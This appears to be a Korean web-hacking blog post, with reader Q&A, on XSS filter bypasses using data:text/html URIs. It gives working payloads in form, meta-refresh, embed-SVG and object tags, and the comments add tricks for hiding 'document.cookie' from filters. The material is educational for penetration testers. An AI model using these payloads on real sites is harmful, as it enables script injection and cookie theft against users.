3/15/2017

[WEB HACKING] data: 구문을 이용한 XSS Filtering 우회 기법(Bypass XSS Filter)

XSS 공격 시 많이 사용하는 기법입니다만 재미난걸 하나 찾은김에 겸사겸사 정리할까 합니다.

Today's bypass XSS filter - <form> + data:text/html + URL Encoding

여러가지 규칙이 있었습니다. 문자열 기번의 필터링으로 사용할 수 있는 태그가 한정되어있고, 이벤트 핸들러 또한 거의 전부 필터링되었죠.
그리고.. 결정적으로 base, java , script 등 문자열 필터링으로 우회 구문 작성하는데 좀 귀찮았습니다.

오늘의 Bypass filter는 <form> 태그와 data:text/html , URL Encoding 의 조합입니다.

form 태그는 action에 담긴 주소로 요청 발송합니다. 그래서.. action에 javascript:alert(45) 와 같은 형태로 구문이 들어갈 시 그대로 호출하게 되며 스크립트가 실행되죠. java, script 등 문자열에 대한 필터링이 적용되어 있고 좀 껄끄러운 형태로 되어 있어서 필터링 되지 않는 문자를 이용해보려 생각하던 중 data: 를 이용한 구문들이 생각났습니다. 대체로 object, iframe 등 태그에 사용되나 form 에도 가능하지 않을까라는 의문에서 시작하였고, 예상대로 form을 이용하여 XSS 구문 성립이 가능하였죠.

<form action=data:text/html;charset=utf-8,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%34%35%29%3c%2f%73%63%72%69%70%74%3e>
<input type=submit>
</form>
아주 심플하죠. base 문자열도 필터링되어서 url 인코딩을 하여 필터링 규칙을 벗어나고, <form> action으로 호출되지 때문에 브라우저에서 열릴 때 URL Deocde 되는걸 이용하면 인코딩된 문자열의 해제로 스크립트가 동작하게 됩니다.

data:text/html for XSS

meta tag
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCg0NSk8L3NjcmlwdD4=">

embed tag

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCIgaWQ9InhzcyI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2VjbWFzY3JpcHQiPmFsZXJ0KDQ1KTs8L3NjcmlwdD48L3N2Zz4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

object tag

<object data="data:application/x-shockwave-flash;base64,
RldTCSEAAABIAZAAZAAADAEARBEIAAAAQwIAAP9AAAAA"></object> 
 <!-- xss swf in Base64 data --> 




HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

8 comments:

  1. 안녕하세요 모의해킹 잘보고있습니다 근데 궁금한게 있는데 xss공격을 취할때 document.cookie 보통 이걸로 쿠키를 따는데 필터링이 되서 막히면 다른 우회방법이 있나요??

    ReplyDelete
  2. 우회 방법이 정해져있는건 아닙니다. 필터링이 된다면.. 분명 규칙이란게 존재할거고, 우리는 그걸 풀면됩니당.
    물론 풀기 위해선, xss 공격에 대한 이해뿐만 아니라 웹/HTML 등 전반적인 지식이 있을 수록 좋습니다.

    e.g
    document.cookie -> 사라지면..
    documedocument.cookient.cookie -> document.cookie

    document.cookie -> 처리하지 않음
    var pay1 = "docum";
    var pay2 = "ent.cookie";
    var res = eval(pay1+pay2);
    alert(res);

    등등 조금씩 생각을 전환하면 방법은 끝도없이 나올 수 있겠지요. 인코딩을 이용해서 넘어갈 수 있는 방법도 많구요.
    고민해보시면 좋은 결과 있을거에요.

    겸사겸사.. 별 도움은 안되겠지만, 아래 링크같은 방법도 있지요. 참고만.. :)
    http://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html
    http://www.hahwul.com/2017/01/web-hacking-bypass-xssquotation.html

    ReplyDelete
  3. 안녕하세요. 궁금한점이 있어 실례를 무릎쓰고 질문올립니다. 글에 있는 embed태그에서 alert문이 동작을 하긴하는데 이상하게도 값으로document.cookie를 출력하려하면 동작하지 않더라고요. alert(45)나 일반 문자는 잘되고요. 필터링 테스트는 필터링이 없는 비박스 low단계에서 해봤습니다. 뭔가 추가적으로 해야하는게 있는걸까요 ㅜㅜ?

    ReplyDelete
    Replies
    1. 안녕하세요 :)

      우선 문제 원인에 대해 이야기하자면.. 스크립트 실행을 누가하느냐에 달려있습니다.

      data: 구문으로 동작 시 해당 웹 페이지의 DOM영역이 아닌 분리된 영역에서 동작하게 됩니다.
      그래서 document.cookie와 도메인에서 유효한 데이터들을 가져올 수 없게되죠.

      document의 데이터를 가져오려는 목적이라면 payload에 조금 더 추가적인 구문이 필요할 것 같네요.(이것도 해당 웹 페이지의 상태에 따라서 달라질듯합니다)

      Delete
  4. 안녕하세요. XSS에 관해 공부하고 있고 버그바운티도 해보려고하는 학생입니다.

    리얼월드에서 이벤트 핸들러로 XSS(ERR_BLOCKED_BY_XSS_AUDITOR)를 시도하는중 브라우저에서 XSS필터링으로 걸러지더라구요.. 이경우에 브라우저 필터링 또한 우회하고 공격을 성공할수 있따고 해야하나요? 아니면은 자체적으로 브라우저에서 해당 기능을 비활성화해야하는지 궁금합니다.ㅜ

    ReplyDelete
    Replies
    1. 음 버그 바운티의 경우 회사마다 좀 다를 것 같긴한데요, 제가 업무적으로 했던 경우들은 모두 브라우저 필터링 제외하고 테스트했고, 리포팅했습니다(브라우저 필터링 해제)

      브라우저 필터링은 각 브라우저사가 보안을 위해 만든 허들일 뿐 실제 대응이 필요한 구간은 취약한 페이지를 운영하는 곳이라 제끼고 봐도 무방할 것 같아요~
      (사용자가 어떤 브라우저로 공격 당할지도 모르고, 사용자가 해제했을 가능성, 보펴적으로 알려지지 않은 방법등으로 우회하는 경우들이 있을터인데, 대부분 보안 담당자들이 단순하게 자신들의 로직이 아닌 브라우저 로직으로 막아졌다고 안전하다고 판단할거라고 보진 않네요.)

      Delete
  5. 안녕하세요, 궁금한 점이 있어 질문드립니다. burp suite에서 response의 아무 script 태그를 골라 부분을 변조하여 보내는 것은 xss 취약점으로 볼 수없는게 맞는 건가요?

    ReplyDelete
    Replies
    1. 네 취약점이 아니죠. xss는 공격자의 어떠한 액션이 피해자의 브라우저상에서 스크립트를 동작시킬 수 있을 때 취약하다고 말할 수 있습니다.

      burp suite로 구성하신 분석 환경은 기본적으로 proxy 구성을 통해 피해자의 요청을 가로채고 있는 상태고 SSL 또한 인증서 신뢰설정으로 넘어가고 있어서 response를 변경할 수 있습니다. 실제 공격에서 이러한 환경이 구성되려면 피해자의 PC가 장악되거나, 피해자가 공격자의 Proxy 서버로 자신의 Proxy 설정을 변경하거나, http 서비스에 대해 요청을 MITM 공격을 수행하는 상태이고 이런 경우엔 악성코드 감염이나 MITM으로 이야기를 하죠.

      그래서 말씀주신 proxy 환경에서 단순히 response를 변조하는 행위는 사용자의 interaction이 굉장히 높기 때문에 취약점이라고 말할 수 없고, XSS와는 의미 자체가 다르다보니 XSS라고도 말할 수 없습니닷 :D

      Delete